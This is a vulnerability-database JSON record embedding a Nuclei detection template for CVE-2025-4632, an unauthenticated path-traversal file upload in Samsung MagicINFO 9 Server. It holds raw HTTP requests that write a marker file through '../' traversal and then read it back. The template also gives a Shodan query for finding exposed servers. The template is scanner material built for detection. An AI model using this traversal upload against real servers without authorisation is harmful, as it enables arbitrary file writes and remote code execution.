{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-4632/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-4632/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-4632/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-4632/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-4632/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-4632"},"sightings":{"href":"/api/v1/sightings/cve-2025-4632"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-4632.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-4632\n\ninfo:\n  name: Samsung MagicINFO 9 Server - File Upload & Remote Code Execution\n  author: s4e-io\n  severity: critical\n  description: |\n    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.\n  impact: |\n    Unauthenticated attackers can write arbitrary files with system authority through path traversal in the file upload endpoint, achieving remote code execution.\n  remediation: |\n    Upgrade Samsung MagicINFO 9 Server to version 21.1052 or later that properly validates file upload paths.\n  reference:\n    - https://arcticwolf.com/resources/blog/follow-up-samsung-patches-zero-day-vulnerability-magicinfo-9-server-cve-2025-4632/\n    - https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/\n    - https://www.huntress.com/blog/rapid-response-samsung-magicinfo9-server-flaw\n    - https://nvd.nist.gov/vuln/detail/cve-2025-4632\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-4632\n    cwe-id: CWE-22\n    epss-score: 0.24295\n    epss-percentile: 0.97761\n    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: samsung\n    product: magicinfo_9_server\n    shodan-query: \"Server: magicinfo premium server\"\n  tags: cve,cve2025,file-upload,kev,rce,intrusive,vkev,vuln\n\nvariables:\n  filename: \"{{rand_text_alpha(6)}}\"\n  deviceType: \"{{rand_text_alpha(6)}}\"\n  deviceModelName: \"{{rand_text_alpha(6)}}\"\n  swVer: \"{{rand_int(100, 999)}}\"\n  marker: \"{{rand_text_alpha(12)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.html&deviceType={{deviceType}}&deviceModelName={{deviceModelName}}&swVer={{swVer}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n\n        {{marker}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(server, \"MagicInfo Premium Server\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /MagicInfo/{{filename}}.html HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{marker}}\")'\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402202048dd259c28f07848f5649faf356ed272505e0242040941f8e51846453d2f940220009f15771ac0d9c4d65f35602800310b903a65bb6b9692fd268a34099240a4f8:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-4632"}